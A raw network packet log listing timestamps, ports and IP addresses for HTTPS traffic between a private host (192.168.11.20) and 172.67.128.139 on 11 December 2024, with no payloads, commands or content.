Dec 11, 2024 12:44:08.583221912 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:08.595436096 CET	49744	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:09.184689999 CET	49745	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:09.184705973 CET	443	49745	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:09.184870005 CET	49745	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:09.184978962 CET	49745	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:09.184988976 CET	443	49745	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:09.418970108 CET	443	49745	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:09.419790983 CET	49745	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:09.419802904 CET	443	49745	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:09.420123100 CET	49745	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:09.420129061 CET	443	49745	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.253402948 CET	443	49745	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.253453970 CET	443	49745	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.253568888 CET	49745	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.253803968 CET	49745	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.311125040 CET	49746	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.311144114 CET	443	49746	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.311273098 CET	49746	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.311417103 CET	49746	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.311423063 CET	443	49746	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.544605970 CET	443	49746	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.545655012 CET	49746	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.545663118 CET	443	49746	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.545803070 CET	49746	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.545809984 CET	443	49746	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.567579985 CET	49747	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.567606926 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.567775011 CET	49747	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.570149899 CET	49747	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.570158958 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.804363012 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.804573059 CET	49747	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.805843115 CET	49747	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.805846930 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.806085110 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:10.808391094 CET	49747	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:10.854204893 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.142863035 CET	443	49746	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.142935038 CET	443	49746	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.143234015 CET	49746	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.143429041 CET	49746	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.181611061 CET	49748	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.181652069 CET	443	49748	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.182017088 CET	49748	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.182017088 CET	49748	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.182053089 CET	443	49748	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.392997026 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.393048048 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.393083096 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.393135071 CET	443	49747	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.393320084 CET	49747	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.399379969 CET	49747	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.419481039 CET	443	49748	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.420236111 CET	49748	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.420247078 CET	443	49748	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:11.420495033 CET	49748	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:11.420505047 CET	443	49748	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:12.004287004 CET	443	49748	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:12.004367113 CET	443	49748	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:12.004535913 CET	49748	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:12.004724026 CET	49748	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.178711891 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.178725004 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.178880930 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.181899071 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.181905985 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.416264057 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.416610956 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.417788982 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.417795897 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.418028116 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.420806885 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.466207027 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.995306969 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.995343924 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.995378971 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.995426893 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.995707989 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.995707989 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.995713949 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.995899916 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.995907068 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.996128082 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.996319056 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.996341944 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.996371984 CET	443	49752	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:15.996377945 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.996618986 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:15.996618986 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:16.031172991 CET	49752	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:16.156107903 CET	49753	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:16.156124115 CET	443	49753	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:16.156264067 CET	49753	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:16.156423092 CET	49753	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:16.156430006 CET	443	49753	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:16.391410112 CET	443	49753	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:16.392288923 CET	49753	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:16.392302036 CET	443	49753	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:16.392436028 CET	49753	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:16.392446041 CET	443	49753	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:17.219480038 CET	443	49753	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:17.219611883 CET	443	49753	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:17.219741106 CET	49753	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:17.219948053 CET	49753	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:28.288739920 CET	49756	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:28.288784027 CET	443	49756	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:28.288958073 CET	49756	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:28.289081097 CET	49756	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:28.289108992 CET	443	49756	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:28.526400089 CET	443	49756	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:28.527244091 CET	49756	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:28.527271986 CET	443	49756	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:28.527458906 CET	49756	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:28.527486086 CET	443	49756	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:29.444118023 CET	443	49756	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:29.444279909 CET	443	49756	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:29.444442987 CET	49756	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:29.444742918 CET	49756	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:29.476087093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:29.476130962 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:29.476320982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:29.477072001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:29.477101088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:29.715550900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:29.716664076 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:29.716696024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.593986034 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.594082117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.594140053 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.594187021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.594233990 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.594322920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:30.594350100 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.594404936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:30.594583988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:30.839802980 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.840049982 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.840105057 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.840218067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:30.840241909 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.840394020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:30.840564966 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.840661049 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.840704918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.840924025 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.841022968 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:30.841041088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:30.841068029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:30.894593000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.086230040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.086687088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.086700916 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.086925030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.086935997 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.086996078 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.087021112 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.087225914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.087225914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.087235928 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.087371111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.087522030 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.087553024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.087693930 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.087723970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.087733030 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.087850094 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.339108944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.339406013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.339461088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.339595079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.339624882 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.339778900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.339811087 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.339983940 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.340030909 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.340154886 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.340188980 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.340348005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.340369940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.340393066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.340449095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.340557098 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.340578079 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.340764046 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.341259003 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.341424942 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.341445923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.341562986 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.341749907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.341775894 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.341918945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.584151030 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.584310055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.584388018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.584533930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.584548950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.584693909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.584739923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.584939957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.585602045 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.585772991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.585792065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.585803986 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.585810900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.585953951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.586579084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.586772919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.586776018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.586791039 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.587024927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.832283020 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.832407951 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.832537889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.832537889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.832565069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.832742929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.832830906 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.833170891 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.833803892 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.833997011 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.834022045 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.834048986 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.834059954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.834286928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.834788084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.835006952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.835031986 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.835107088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.835130930 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.835268974 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.835706949 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.835912943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:31.835937977 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:31.836114883 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.081346989 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.081569910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.081653118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.081887007 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.082205057 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.082392931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.082988024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.083038092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.083168983 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.083194017 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.083218098 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.083218098 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.083893061 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.083924055 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.084043980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.084053040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.084139109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.084867954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.084889889 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.085038900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.085047960 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.085135937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.085725069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.085890055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.085899115 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.086045980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.328493118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.328735113 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.328767061 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.328921080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.329010010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.329588890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.329792023 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.329806089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.329830885 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.329943895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.330029964 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.330542088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.330646038 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.330737114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.330791950 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.330796957 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.331048012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.331769943 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.331998110 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.332032919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.332039118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.332211971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.332638025 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.332947969 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.333192110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.333192110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.333197117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.333575964 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.333612919 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.333852053 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.583774090 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.583951950 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.583964109 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.584120989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.584129095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.584290028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.585436106 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.585463047 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.585706949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.587403059 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.587414980 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.587601900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.587601900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.587613106 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.587766886 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.587766886 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.589279890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.589292049 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.589598894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.589607000 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.589730024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.591058969 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.591248989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.591257095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.591268063 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.591274023 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.591430902 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.591485977 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.829272985 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.829283953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.829391956 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.829545975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.829618931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.829618931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.829638004 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.829828024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.831332922 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.831370115 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.831538916 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.831592083 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.831605911 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.831618071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.831738949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.833162069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.833199024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.833359957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.833359957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.833385944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.833400965 CET	443	49757	172.67.128.139	192.168.11.20
